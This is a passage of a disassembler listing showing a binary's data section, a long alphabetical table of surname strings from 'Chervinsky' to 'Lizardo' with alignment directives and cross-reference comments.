; DATA XREF: .data:00445710o align 4 aChervinsky db 'Chervinsky',0 ; DATA XREF: .data:00445714o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: .data:00445718o align 10h aChien db 'Chien',0 ; DATA XREF: .data:0044571Co align 4 aChildress db 'Childress',0 ; DATA XREF: .data:00445720o align 4 aChilds db 'Childs',0 ; DATA XREF: .data:00445724o align 4 aChinipardaz db 'Chinipardaz',0 ; DATA XREF: .data:00445728o aChinman db 'Chinman',0 ; DATA XREF: .data:0044572Co aChristenson db 'Christenson',0 ; DATA XREF: .data:00445730o aChristian db 'Christian',0 ; DATA XREF: .data:00445734o align 4 aChristiano db 'Christiano',0 ; DATA XREF: .data:00445738o align 4 aChristie db 'Christie',0 ; DATA XREF: .data:0044573Co align 10h aChristopher db 'Christopher',0 ; DATA XREF: .data:00445740o aChu db 'Chu',0 ; DATA XREF: .data:00445744o aChupasko db 'Chupasko',0 ; DATA XREF: .data:00445748o align 4 aChurch db 'Church',0 ; DATA XREF: .data:0044574Co align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: .data:off_445750o align 10h aCicero db 'Cicero',0 ; DATA XREF: .data:00445754o align 4 aCifarelli db 'Cifarelli',0 ; DATA XREF: .data:00445758o align 4 aClaffey db 'Claffey',0 ; DATA XREF: .data:0044575Co aClancy db 'Clancy',0 ; DATA XREF: .data:00445760o align 4 aClark db 'Clark',0 ; DATA XREF: .data:00445764o align 4 aClement db 'Clement',0 ; DATA XREF: .data:00445768o aClifton db 'Clifton',0 ; DATA XREF: .data:0044576Co aClow db 'Clow',0 ; DATA XREF: .data:00445770o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: .data:00445774o aCoito db 'Coito',0 ; DATA XREF: .data:00445778o align 4 aColdren db 'Coldren',0 ; DATA XREF: .data:0044577Co aColella db 'Colella',0 ; DATA XREF: .data:00445780o aCollard db 'Collard',0 ; DATA XREF: .data:00445784o aCollis db 'Collis',0 ; DATA XREF: .data:00445788o align 4 aCompton db 'Compton',0 ; DATA XREF: .data:0044578Co aCompton_0 db 'Compton',0 ; DATA XREF: .data:00445790o aComstock db 'Comstock',0 ; DATA XREF: .data:00445794o align 10h aConcino db 'Concino',0 ; DATA XREF: .data:00445798o aCondodina db 'Condodina',0 ; DATA XREF: .data:0044579Co align 4 aConnors db 'Connors',0 ; DATA XREF: .data:004457A0o aCorey db 'Corey',0 ; DATA XREF: .data:004457A4o align 4 aCornish db 'Cornish',0 ; DATA XREF: .data:004457A8o aCosmides db 'Cosmides',0 ; DATA XREF: .data:004457ACo align 4 aCounter db 'Counter',0 ; DATA XREF: .data:004457B0o aCoutaux db 'Coutaux',0 ; DATA XREF: .data:004457B4o aCrawford db 'Crawford',0 ; DATA XREF: .data:004457B8o align 4 aCrocker db 'Crocker',0 ; DATA XREF: .data:004457BCo aCroshaw db 'Croshaw',0 ; DATA XREF: .data:004457C0o aCroxen db 'Croxen',0 ; DATA XREF: .data:004457C4o align 4 aCroxton db 'Croxton',0 ; DATA XREF: .data:004457C8o aCui db 'Cui',0 ; DATA XREF: .data:004457CCo aCurrier db 'Currier',0 ; DATA XREF: .data:004457D0o aCutler db 'Cutler',0 ; DATA XREF: .data:004457D4o align 4 aCvek db 'Cvek',0 ; DATA XREF: .data:004457D8o align 10h aCyders db 'Cyders',0 ; DATA XREF: .data:004457DCo align 4 aDasilva db 'daSilva',0 ; DATA XREF: .data:004457E0o aDaldalian db 'Daldalian',0 ; DATA XREF: .data:004457E4o align 4 aDaly db 'Daly',0 ; DATA XREF: .data:004457E8o align 4 aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: .data:004457ECo aDanieli db 'Danieli',0 ; DATA XREF: .data:004457F0o aDante db 'Dante',0 ; DATA XREF: .data:004457F4o align 4 aDapice db 'Dapice',0 ; DATA XREF: .data:004457F8o align 4 aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: .data:004457FCo aDas db 'Das',0 ; DATA XREF: .data:00445800o aDasgupta db 'Dasgupta',0 ; DATA XREF: .data:00445804o align 10h aDaskalu db 'Daskalu',0 ; DATA XREF: .data:00445808o aDavid db 'David',0 ; DATA XREF: .data:0044580Co align 10h aDawkins db 'Dawkins',0 ; DATA XREF: .data:00445810o aDegennaro db 'DeGennaro',0 ; DATA XREF: .data:00445814o align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: .data:00445818o align 10h aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: .data:0044581Co align 4 aDerousse db 'deRousse',0 ; DATA XREF: .data:00445820o align 4 aDebroff db 'Debroff',0 ; DATA XREF: .data:00445824o aDees db 'Dees',0 ; DATA XREF: .data:00445828o align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: .data:0044582Co align 4 aDelattre db 'Delattre',0 ; DATA XREF: .data:00445830o align 10h aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: .data:00445834o align 10h aDelger db 'Delger',0 ; DATA XREF: .data:00445838o align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: .data:0044583Co align 4 aDeming db 'Deming',0 ; DATA XREF: .data:00445840o align 4 aDempster db 'Dempster',0 ; DATA XREF: .data:00445844o align 4 aDemusz db 'Demusz',0 ; DATA XREF: .data:00445848o align 10h aDenault db 'Denault',0 ; DATA XREF: .data:0044584Co aDenham db 'Denham',0 ; DATA XREF: .data:00445850o align 10h aDenison db 'Denison',0 ; DATA XREF: .data:00445854o aDesombre db 'Desombre',0 ; DATA XREF: .data:00445858o align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: .data:0044585Co aDFini db 'D',27h,'fini',0 ; DATA XREF: .data:00445860o align 4 aDicks db 'Dicks',0 ; DATA XREF: .data:00445864o align 4 aDiefenbach db 'Diefenbach',0 ; DATA XREF: .data:00445868o align 4 aDifabio db 'Difabio',0 ; DATA XREF: .data:0044586Co aDifronzo db 'Difronzo',0 ; DATA XREF: .data:00445870o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: .data:00445874o align 4 aDionysius db 'Dionysius',0 ; DATA XREF: .data:00445878o align 4 aDirksen db 'Dirksen',0 ; DATA XREF: .data:0044587Co aDockery db 'Dockery',0 ; DATA XREF: .data:00445880o aDoherty db 'Doherty',0 ; DATA XREF: .data:00445884o aDonahue db 'Donahue',0 ; DATA XREF: .data:00445888o aDonner db 'Donner',0 ; DATA XREF: .data:0044588Co align 4 aDoonan db 'Doonan',0 ; DATA XREF: .data:00445890o align 4 aDore db 'Dore',0 ; DATA XREF: .data:00445894o align 4 aDorf db 'Dorf',0 ; DATA XREF: .data:00445898o align 4 aDosi db 'Dosi',0 ; DATA XREF: .data:0044589Co align 4 aDoty db 'Doty',0 ; DATA XREF: .data:004458A0o align 4 aDoug db 'Doug',0 ; DATA XREF: .data:004458A4o align 4 aDowsland db 'Dowsland',0 ; DATA XREF: .data:004458A8o align 4 aDrinker db 'Drinker',0 ; DATA XREF: .data:004458ACo aDSouza db 'D',27h,'souza',0 ; DATA XREF: .data:004458B0o aDuffin db 'Duffin',0 ; DATA XREF: .data:004458B4o align 10h aDurrett db 'Durrett',0 ; DATA XREF: .data:004458B8o aDussault db 'Dussault',0 ; DATA XREF: .data:004458BCo align 4 aDwyer db 'Dwyer',0 ; DATA XREF: .data:004458C0o align 4 aEardley db 'Eardley',0 ; DATA XREF: .data:004458C4o aEbeling db 'Ebeling',0 ; DATA XREF: .data:004458C8o aEckel db 'Eckel',0 ; DATA XREF: .data:004458CCo align 4 aEdley db 'Edley',0 ; DATA XREF: .data:004458D0o align 4 aEdner db 'Edner',0 ; DATA XREF: .data:004458D4o align 4 aEdward db 'Edward',0 ; DATA XREF: .data:004458D8o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: .data:004458DCo aEliasson db 'Eliasson',0 ; DATA XREF: .data:004458E0o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: .data:004458E4o align 10h aElmerick db 'Elmerick',0 ; DATA XREF: .data:004458E8o align 4 aElvis db 'Elvis',0 ; DATA XREF: .data:004458ECo align 4 aEncinas db 'Encinas',0 ; DATA XREF: .data:004458F0o aEnyeart db 'Enyeart',0 ; DATA XREF: .data:004458F4o aEppling db 'Eppling',0 ; DATA XREF: .data:004458F8o aErbach db 'Erbach',0 ; DATA XREF: .data:004458FCo align 4 aErdman db 'Erdman',0 ; DATA XREF: .data:00445900o align 4 aErdos db 'Erdos',0 ; DATA XREF: .data:00445904o align 4 aErez db 'Erez',0 ; DATA XREF: .data:00445908o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: .data:0044590Co align 4 aEstes db 'Estes',0 ; DATA XREF: .data:00445910o align 10h aEtter db 'Etter',0 ; DATA XREF: .data:00445914o align 4 aEuripides db 'Euripides',0 ; DATA XREF: .data:00445918o align 4 aEverett db 'Everett',0 ; DATA XREF: .data:0044591Co aFabbris db 'Fabbris',0 ; DATA XREF: .data:00445920o aFagan db 'Fagan',0 ; DATA XREF: .data:00445924o align 4 aFaioes db 'Faioes',0 ; DATA XREF: .data:00445928o align 4 aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: .data:0044592Co align 4 aFalorsi db 'Falorsi',0 ; DATA XREF: .data:00445930o aFaris db 'Faris',0 ; DATA XREF: .data:00445934o align 4 aFarone db 'Farone',0 ; DATA XREF: .data:00445938o align 4 aFarren db 'Farren',0 ; DATA XREF: .data:0044593Co align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: .data:00445940o align 4 aFates db 'Fates',0 ; DATA XREF: .data:00445944o align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: .data:00445948o align 10h aFejzo db 'Fejzo',0 ; DATA XREF: .data:0044594Co align 4 aFeldman db 'Feldman',0 ; DATA XREF: .data:00445950o aFernald db 'Fernald',0 ; DATA XREF: .data:00445954o aFernandes db 'Fernandes',0 ; DATA XREF: .data:00445958o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: .data:0044595Co align 10h aFerriell db 'Ferriell',0 ; DATA XREF: .data:00445960o align 4 aFeuer db 'Feuer',0 ; DATA XREF: .data:00445964o align 4 aFido db 'Fido',0 ; DATA XREF: .data:00445968o align 4 aField db 'Field',0 ; DATA XREF: .data:0044596Co align 4 aFink db 'Fink',0 ; DATA XREF: .data:00445970o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: .data:00445974o aFinnegan db 'Finnegan',0 ; DATA XREF: .data:00445978o align 4 aFiorina db 'Fiorina',0 ; DATA XREF: .data:0044597Co aFisk db 'Fisk',0 ; DATA XREF: .data:00445980o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: .data:00445984o aFlier db 'Flier',0 ; DATA XREF: .data:00445988o align 4 aFlores db 'Flores',0 ; DATA XREF: .data:0044598Co align 10h aFolks db 'Folks',0 ; DATA XREF: .data:00445990o align 4 aForester db 'Forester',0 ; DATA XREF: .data:00445994o align 4 aFortes db 'Fortes',0 ; DATA XREF: .data:00445998o align 4 aFortier db 'Fortier',0 ; DATA XREF: .data:0044599Co aFossey db 'Fossey',0 ; DATA XREF: .data:004459A0o align 4 aFossi db 'Fossi',0 ; DATA XREF: .data:004459A4o align 4 aFrancisco db 'Francisco',0 ; DATA XREF: .data:004459A8o align 10h aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: .data:004459ACo align 10h aFranz db 'Franz',0 ; DATA XREF: .data:004459B0o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: .data:004459B4o align 4 aFreid db 'Freid',0 ; DATA XREF: .data:004459B8o align 10h aFreundlich db 'Freundlich',0 ; DATA XREF: .data:004459BCo align 4 aFried db 'Fried',0 ; DATA XREF: .data:004459C0o align 4 aFriedland db 'Friedland',0 ; DATA XREF: .data:004459C4o align 10h aFrisken db 'Frisken',0 ; DATA XREF: .data:004459C8o aFrowiss db 'Frowiss',0 ; DATA XREF: .data:004459CCo aFryberger db 'Fryberger',0 ; DATA XREF: .data:004459D0o align 4 aFrye db 'Frye',0 ; DATA XREF: .data:004459D4o align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: .data:004459D8o align 10h aFuller db 'Fuller',0 ; DATA XREF: .data:004459DCo align 4 aFurth db 'Furth',0 ; DATA XREF: .data:004459E0o align 10h aFusaro db 'Fusaro',0 ; DATA XREF: .data:004459E4o align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: .data:004459E8o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: .data:004459ECo align 10h aGaleotti db 'Galeotti',0 ; DATA XREF: .data:004459F0o align 4 aGalwey db 'Galwey',0 ; DATA XREF: .data:004459F4o align 4 aGambini db 'Gambini',0 ; DATA XREF: .data:004459F8o aGarfield db 'Garfield',0 ; DATA XREF: .data:004459FCo align 4 aGarman db 'Garman',0 ; DATA XREF: .data:00445A00o align 10h aGaronna db 'Garonna',0 ; DATA XREF: .data:00445A04o aGeller db 'Geller',0 ; DATA XREF: .data:00445A08o align 10h aGemberling db 'Gemberling',0 ; DATA XREF: .data:00445A0Co align 4 aGeorgi db 'Georgi',0 ; DATA XREF: .data:00445A10o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: .data:00445A14o aGhorai db 'Ghorai',0 ; DATA XREF: .data:00445A18o align 4 aGibbens db 'Gibbens',0 ; DATA XREF: .data:00445A1Co aGibson db 'Gibson',0 ; DATA XREF: .data:00445A20o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: .data:00445A24o aGili db 'Gili',0 ; DATA XREF: .data:00445A28o align 4 aGill db 'Gill',0 ; DATA XREF: .data:00445A2Co align 4 aGillispie db 'Gillispie',0 ; DATA XREF: .data:00445A30o align 4 aGist db 'Gist',0 ; DATA XREF: .data:00445A34o align 10h aGleason db 'Gleason',0 ; DATA XREF: .data:00445A38o aGlegg db 'Glegg',0 ; DATA XREF: .data:00445A3Co align 10h aGlendon db 'Glendon',0 ; DATA XREF: .data:00445A40o aGoldfarb db 'Goldfarb',0 ; DATA XREF: .data:00445A44o align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: .data:00445A48o align 10h aGood db 'Good',0 ; DATA XREF: .data:00445A4Co align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: .data:00445A50o align 4 aGoody db 'Goody',0 ; DATA XREF: .data:00445A54o align 4 aGozzi db 'Gozzi',0 ; DATA XREF: .data:00445A58o align 4 aGravell db 'Gravell',0 ; DATA XREF: .data:00445A5Co aGreenberg db 'Greenberg',0 ; DATA XREF: .data:00445A60o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: .data:00445A64o align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: .data:00445A68o align 10h aGrigoletto db 'Grigoletto',0 ; DATA XREF: .data:00445A6Co align 4 aGrummell db 'Grummell',0 ; DATA XREF: .data:00445A70o align 4 aGruner db 'Gruner',0 ; DATA XREF: .data:00445A74o align 10h aGruppe db 'Gruppe',0 ; DATA XREF: .data:00445A78o align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: .data:00445A7Co align 4 aGunn db 'Gunn',0 ; DATA XREF: .data:00445A80o align 4 aGuo db 'Guo',0 ; DATA XREF: .data:00445A84o aHa db 'Ha',0 ; DATA XREF: .data:00445A88o align 4 aHaar db 'Haar',0 ; DATA XREF: .data:00445A8Co align 4 aHackman db 'Hackman',0 ; DATA XREF: .data:00445A90o aHackshaw db 'Hackshaw',0 ; DATA XREF: .data:00445A94o align 10h aHaley db 'Haley',0 ; DATA XREF: .data:00445A98o align 4 aHalkias db 'Halkias',0 ; DATA XREF: .data:00445A9Co aHallowell db 'Hallowell',0 ; DATA XREF: .data:00445AA0o align 4 aHalpert db 'Halpert',0 ; DATA XREF: .data:00445AA4o aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: .data:00445AA8o align 4 aHamer db 'Hamer',0 ; DATA XREF: .data:00445AACo align 4 aHammerness db 'Hammerness',0 ; DATA XREF: .data:00445AB0o align 4 aHand db 'Hand',0 ; DATA XREF: .data:00445AB4o align 10h aHanssen db 'Hanssen',0 ; DATA XREF: .data:00445AB8o aHarding db 'Harding',0 ; DATA XREF: .data:00445ABCo aHargraves db 'Hargraves',0 ; DATA XREF: .data:00445AC0o align 4 aHarlow db 'Harlow',0 ; DATA XREF: .data:00445AC4o align 4 aHarrigan db 'Harrigan',0 ; DATA XREF: .data:00445AC8o align 10h aHartman db 'Hartman',0 ; DATA XREF: .data:00445ACCo aHartmann db 'Hartmann',0 ; DATA XREF: .data:00445AD0o align 4 aHartnett db 'Hartnett',0 ; DATA XREF: .data:00445AD4o align 10h aHarwell db 'Harwell',0 ; DATA XREF: .data:00445AD8o aHaviaras db 'Haviaras',0 ; DATA XREF: .data:00445ADCo align 4 aHawkes db 'Hawkes',0 ; DATA XREF: .data:00445AE0o align 4 aHayes db 'Hayes',0 ; DATA XREF: .data:00445AE4o align 4 aHaynes db 'Haynes',0 ; DATA XREF: .data:00445AE8o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: .data:00445AECo align 4 aHeermans db 'Heermans',0 ; DATA XREF: .data:00445AF0o align 4 aHeft db 'Heft',0 ; DATA XREF: .data:00445AF4o align 4 aHeiland db 'Heiland',0 ; DATA XREF: .data:00445AF8o aHellman db 'Hellman',0 ; DATA XREF: .data:00445AFCo aHellmiss db 'Hellmiss',0 ; DATA XREF: .data:00445B00o align 4 aHelprin db 'Helprin',0 ; DATA XREF: .data:00445B04o aHemphill db 'Hemphill',0 ; DATA XREF: .data:00445B08o align 4 aHenery db 'Henery',0 ; DATA XREF: .data:00445B0Co align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: .data:00445B10o align 10h aHernandez db 'Hernandez',0 ; DATA XREF: .data:00445B14o align 4 aHerrera db 'Herrera',0 ; DATA XREF: .data:00445B18o aHester db 'Hester',0 ; DATA XREF: .data:00445B1Co align 4 aHeubert db 'Heubert',0 ; DATA XREF: .data:00445B20o aHeyeck db 'Heyeck',0 ; DATA XREF: .data:00445B24o align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: .data:00445B28o align 4 aHind db 'Hind',0 ; DATA XREF: .data:00445B2Co align 10h aHirst db 'Hirst',0 ; DATA XREF: .data:00445B30o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: .data:00445B34o align 4 aHoang db 'Hoang',0 ; DATA XREF: .data:00445B38o align 4 aHock db 'Hock',0 ; DATA XREF: .data:00445B3Co align 4 aHoffer db 'Hoffer',0 ; DATA XREF: .data:00445B40o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: .data:00445B44o aHokanson db 'Hokanson',0 ; DATA XREF: .data:00445B48o align 10h aHokoda db 'Hokoda',0 ; DATA XREF: .data:00445B4Co align 4 aHolmes db 'Holmes',0 ; DATA XREF: .data:00445B50o align 10h aHoloien db 'Holoien',0 ; DATA XREF: .data:00445B54o aHolter db 'Holter',0 ; DATA XREF: .data:00445B58o align 10h aHolway db 'Holway',0 ; DATA XREF: .data:00445B5Co align 4 aHolzman db 'Holzman',0 ; DATA XREF: .data:00445B60o aHooker db 'Hooker',0 ; DATA XREF: .data:00445B64o align 4 aHopkins db 'Hopkins',0 ; DATA XREF: .data:00445B68o aHorsley db 'Horsley',0 ; DATA XREF: .data:00445B6Co aHoshida db 'Hoshida',0 ; DATA XREF: .data:00445B70o aHostage db 'Hostage',0 ; DATA XREF: .data:00445B74o aHottle db 'Hottle',0 ; DATA XREF: .data:00445B78o align 10h aHoward db 'Howard',0 ; DATA XREF: .data:00445B7Co align 4 aHoy db 'Hoy',0 ; DATA XREF: .data:00445B80o aHuey db 'Huey',0 ; DATA XREF: .data:00445B84o align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: .data:00445B88o align 10h aHungerford db 'Hungerford',0 ; DATA XREF: .data:00445B8Co align 4 aHuntington db 'Huntington',0 ; DATA XREF: .data:00445B90o align 4 aHupp db 'Hupp',0 ; DATA XREF: .data:00445B94o align 10h aHurtubise db 'Hurtubise',0 ; DATA XREF: .data:00445B98o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: .data:00445B9Co align 4 aHyde db 'Hyde',0 ; DATA XREF: .data:00445BA0o align 10h aIaquinta db 'Iaquinta',0 ; DATA XREF: .data:00445BA4o align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: .data:00445BA8o align 4 aIgarashi db 'Igarashi',0 ; DATA XREF: .data:00445BACo align 4 aInamura db 'Inamura',0 ; DATA XREF: .data:00445BB0o aInniss db 'Inniss',0 ; DATA XREF: .data:00445BB4o align 4 aIsaac db 'Isaac',0 ; DATA XREF: .data:00445BB8o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: .data:00445BBCo align 4 aIsbill db 'Isbill',0 ; DATA XREF: .data:00445BC0o align 10h aIsserman db 'Isserman',0 ; DATA XREF: .data:00445BC4o align 4 aIyer db 'Iyer',0 ; DATA XREF: .data:00445BC8o align 4 aJacenko db 'Jacenko',0 ; DATA XREF: .data:00445BCCo aJackson db 'Jackson',0 ; DATA XREF: .data:00445BD0o aJagers db 'Jagers',0 ; DATA XREF: .data:00445BD4o align 4 aJagger db 'Jagger',0 ; DATA XREF: .data:00445BD8o align 4 aJagoe db 'Jagoe',0 ; DATA XREF: .data:00445BDCo align 4 aJain db 'Jain',0 ; DATA XREF: .data:00445BE0o align 4 aJamil db 'Jamil',0 ; DATA XREF: .data:00445BE4o align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: .data:00445BE8o align 4 aJarnagin db 'Jarnagin',0 ; DATA XREF: .data:00445BECo align 4 aJarrell db 'Jarrell',0 ; DATA XREF: .data:00445BF0o aJay db 'Jay',0 ; DATA XREF: .data:00445BF4o aJeffers db 'Jeffers',0 ; DATA XREF: .data:00445BF8o aJellis db 'Jellis',0 ; DATA XREF: .data:00445BFCo align 10h aJenkins db 'Jenkins',0 ; DATA XREF: .data:00445C00o aJespersen db 'Jespersen',0 ; DATA XREF: .data:00445C04o align 4 aJewett db 'Jewett',0 ; DATA XREF: .data:00445C08o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: .data:00445C0Co aJohannsen db 'Johannsen',0 ; DATA XREF: .data:00445C10o align 4 aJohns db 'Johns',0 ; DATA XREF: .data:00445C14o align 4 aJolly db 'Jolly',0 ; DATA XREF: .data:00445C18o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: .data:00445C1Co align 10h aJucks db 'Jucks',0 ; DATA XREF: .data:00445C20o align 4 aJuliano db 'Juliano',0 ; DATA XREF: .data:00445C24o aJulious db 'Julious',0 ; DATA XREF: .data:00445C28o aKabbash db 'Kabbash',0 ; DATA XREF: .data:00445C2Co aKaboolian db 'Kaboolian',0 ; DATA XREF: .data:00445C30o align 4 aKafadar db 'Kafadar',0 ; DATA XREF: .data:00445C34o aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: .data:00445C38o aKaligian db 'Kaligian',0 ; DATA XREF: .data:00445C3Co align 4 aKalil db 'Kalil',0 ; DATA XREF: .data:00445C40o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: .data:00445C44o align 10h aKalman db 'Kalman',0 ; DATA XREF: .data:00445C48o align 4 aKamel db 'Kamel',0 ; DATA XREF: .data:00445C4Co align 10h aKangis db 'Kangis',0 ; DATA XREF: .data:00445C50o align 4 aKarpouzes db 'Karpouzes',0 ; DATA XREF: .data:00445C54o align 4 aKassower db 'Kassower',0 ; DATA XREF: .data:00445C58o align 10h aKasten db 'Kasten',0 ; DATA XREF: .data:00445C5Co align 4 aKawachi db 'Kawachi',0 ; DATA XREF: .data:00445C60o aKee db 'Kee',0 ; DATA XREF: .data:00445C64o aKeenan db 'Keenan',0 ; DATA XREF: .data:00445C68o align 4 aKeepper db 'Keepper',0 ; DATA XREF: .data:00445C6Co aKeith db 'Keith',0 ; DATA XREF: .data:00445C70o align 4 aKelker db 'Kelker',0 ; DATA XREF: .data:00445C74o align 4 aKelsey db 'Kelsey',0 ; DATA XREF: .data:00445C78o align 4 aKempton db 'Kempton',0 ; DATA XREF: .data:00445C7Co aKemsley db 'Kemsley',0 ; DATA XREF: .data:00445C80o aKendall db 'Kendall',0 ; DATA XREF: .data:00445C84o aKerry db 'Kerry',0 ; DATA XREF: .data:00445C88o align 4 aKeul db 'Keul',0 ; DATA XREF: .data:00445C8Co align 4 aKhong db 'Khong',0 ; DATA XREF: .data:00445C90o align 4 aKimmel db 'Kimmel',0 ; DATA XREF: .data:00445C94o align 4 aKimmett db 'Kimmett',0 ; DATA XREF: .data:00445C98o aKimura db 'Kimura',0 ; DATA XREF: .data:00445C9Co align 4 aKindall db 'Kindall',0 ; DATA XREF: .data:00445CA0o aKinsley db 'Kinsley',0 ; DATA XREF: .data:00445CA4o aKippenberger db 'Kippenberger',0 ; DATA XREF: .data:00445CA8o align 4 aKirscht db 'Kirscht',0 ; DATA XREF: .data:00445CACo aKittridge db 'Kittridge',0 ; DATA XREF: .data:00445CB0o align 4 aKleckner db 'Kleckner',0 ; DATA XREF: .data:00445CB4o align 4 aKleiman db 'Kleiman',0 ; DATA XREF: .data:00445CB8o aKleinfelder db 'Kleinfelder',0 ; DATA XREF: .data:00445CBCo aKlemperer db 'Klemperer',0 ; DATA XREF: .data:00445CC0o align 4 aKling db 'Kling',0 ; DATA XREF: .data:00445CC4o align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: .data:00445CC8o aKlint db 'Klint',0 ; DATA XREF: .data:00445CCCo align 10h aKnuff db 'Knuff',0 ; DATA XREF: .data:00445CD0o align 4 aKobrick db 'Kobrick',0 ; DATA XREF: .data:00445CD4o aKoch db 'Koch',0 ; DATA XREF: .data:00445CD8o align 4 aKohn db 'Kohn',0 ; DATA XREF: .data:00445CDCo align 10h aKoivumaki db 'Koivumaki',0 ; DATA XREF: .data:00445CE0o align 4 aKommer db 'Kommer',0 ; DATA XREF: .data:00445CE4o align 4 aKoniaris db 'Koniaris',0 ; DATA XREF: .data:00445CE8o align 10h aKonrad db 'Konrad',0 ; DATA XREF: .data:00445CECo align 4 aKool db 'Kool',0 ; DATA XREF: .data:00445CF0o align 10h aKorzybski db 'Korzybski',0 ; DATA XREF: .data:00445CF4o align 4 aKotter db 'Kotter',0 ; DATA XREF: .data:00445CF8o align 4 aKovaks db 'Kovaks',0 ; DATA XREF: .data:00445CFCo align 4 aKraemer db 'Kraemer',0 ; DATA XREF: .data:00445D00o aKrailo db 'Krailo',0 ; DATA XREF: .data:00445D04o align 4 aKrasney db 'Krasney',0 ; DATA XREF: .data:00445D08o aKraus db 'Kraus',0 ; DATA XREF: .data:00445D0Co align 4 aKroemer db 'Kroemer',0 ; DATA XREF: .data:00445D10o aKrysiak db 'Krysiak',0 ; DATA XREF: .data:00445D14o aKuenzli db 'Kuenzli',0 ; DATA XREF: .data:00445D18o aKumar db 'Kumar',0 ; DATA XREF: .data:00445D1Co align 4 aKusman db 'Kusman',0 ; DATA XREF: .data:00445D20o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: .data:00445D24o align 10h aLa db 'La',0 ; DATA XREF: .data:00445D28o align 4 aLabunka db 'Labunka',0 ; DATA XREF: .data:00445D2Co aLafler db 'Lafler',0 ; DATA XREF: .data:00445D30o align 4 aLaing db 'Laing',0 ; DATA XREF: .data:00445D34o align 4 aLallemant db 'Lallemant',0 ; DATA XREF: .data:00445D38o align 4 aLandes db 'Landes',0 ; DATA XREF: .data:00445D3Co align 10h aLankes db 'Lankes',0 ; DATA XREF: .data:00445D40o align 4 aLantieri db 'Lantieri',0 ; DATA XREF: .data:00445D44o align 4 aLanzit db 'Lanzit',0 ; DATA XREF: .data:00445D48o align 4 aLaserna db 'Laserna',0 ; DATA XREF: .data:00445D4Co aLashley db 'Lashley',0 ; DATA XREF: .data:00445D50o aLawless db 'Lawless',0 ; DATA XREF: .data:00445D54o aLecar db 'Lecar',0 ; DATA XREF: .data:00445D58o align 4 aLecce db 'Lecce',0 ; DATA XREF: .data:00445D5Co align 4 aLeclercq db 'Leclercq',0 ; DATA XREF: .data:00445D60o align 10h aLeite db 'Leite',0 ; DATA XREF: .data:00445D64o align 4 aLenard db 'Lenard',0 ; DATA XREF: .data:00445D68o align 10h aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: .data:00445D6Co align 4 aLesser db 'Lesser',0 ; DATA XREF: .data:00445D70o align 4 aLessi db 'Lessi',0 ; DATA XREF: .data:00445D74o align 4 aLiakos db 'Liakos',0 ; DATA XREF: .data:00445D78o align 4 aLidano db 'Lidano',0 ; DATA XREF: .data:00445D7Co align 4 aLiem db 'Liem',0 ; DATA XREF: .data:00445D80o align 4 aLight db 'Light',0 ; DATA XREF: .data:00445D84o align 4 aLightfoot db 'Lightfoot',0 ; DATA XREF: .data:00445D88o align 4 aLim db 'Lim',0 ; DATA XREF: .data:00445D8Co aLinares db 'Linares',0 ; DATA XREF: .data:00445D90o aLinda db 'Linda',0 ; DATA XREF: .data:00445D94o align 4 aLinder db 'Linder',0 ; DATA XREF: .data:00445D98o align 4 aLine_0 db 'Line',0 ; DATA XREF: .data:00445D9Co align 4 aLinehan db 'Linehan',0 ; DATA XREF: .data:00445DA0o aLinzee db 'Linzee',0 ; DATA XREF: .data:00445DA4o align 4 aLippmann db 'Lippmann',0 ; DATA XREF: .data:00445DA8o align 4 aLipponen db 'Lipponen',0 ; DATA XREF: .data:00445DACo align 4 aLittle db 'Little',0 ; DATA XREF: .data:00445DB0o align 4 aLitvak db 'Litvak',0 ; DATA XREF: .data:00445DB4o align 4 aLivernash db 'Livernash',0 ; DATA XREF: .data:00445DB8o align 10h aLivi db 'Livi',0 ; DATA XREF: .data:00445DBCo align 4 aLivolsi db 'Livolsi',0 ; DATA XREF: .data:00445DC0o aLizardo db 